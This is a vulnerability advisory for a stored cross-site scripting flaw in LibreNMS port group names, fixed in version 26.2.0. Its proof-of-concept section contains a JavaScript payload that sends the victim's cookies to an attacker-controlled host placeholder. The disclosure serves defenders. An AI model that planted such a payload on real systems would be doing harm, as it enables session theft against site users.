CVE-2026-26992: LibreNMS has Stored Cross-Site Scripting via unsanitized /port-groups name
Summary /port-groups name Stored Cross-Site Scripting
- HTTP POST - Request-URI(s): "/port-groups" - Vulnerable parameter(s): "name" - Attacker must be authenticated with "admin" privileges. - When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. - After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.
Details The vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:
resources/views/port-group/index.blade.php: @extends('layouts.librenmsv1') @section('title', ('Port Groups')) @section('content') <div class="container-fluid"> <x-panel id="manage-port-groups-panel"> // [...Truncated...] @foreach($portgroups as $portgroup) // [...Truncated...]
<button type="button" class="btn btn-danger btn- sm" title="{{ ('delete Port Group') }}" aria-label="{{ ('Delete') }}"
onclick="deletepg(this, '{{ $portgroup- >name }}', '{{ route('port-groups.destroy', $portgroup->id) }}')"> // using the port's name in the Delete button functionality without sanitizing for XSS related characters/strings
As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.
PoC - Login - Select Ports > Manage Port Groups - Select New Port Group - Input 12345');varpt=newImage();pt.src='http://<ATTACKERIP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);deletepg(this, '12345 into the "Name" input box (change <ATTACKERIP> to be an the IP of an attacker controlled webserver) - Select Save - Select the Delete Icon for the newly created Port Group - Select OK - The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.
Other sources
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the port group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. After the port group is created, the entry is displayed along with relevant buttons such as Edit and Delete. This issue has been fixed in version 26.2.0.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-26992?
CVE-2026-26992 is classified as a Stored Cross-Site Scripting vulnerability with a medium severity level.
How do I fix CVE-2026-26992?
To fix CVE-2026-26992, upgrade LibreNMS to version 26.2.0 or later.
Who can exploit CVE-2026-26992?
CVE-2026-26992 can be exploited by authenticated users with admin privileges.
What versions of LibreNMS are affected by CVE-2026-26992?
CVE-2026-26992 affects all versions of LibreNMS prior to 26.2.0.
What components are involved in CVE-2026-26992?
CVE-2026-26992 involves the unsanitized 'name' parameter in the /port-groups component.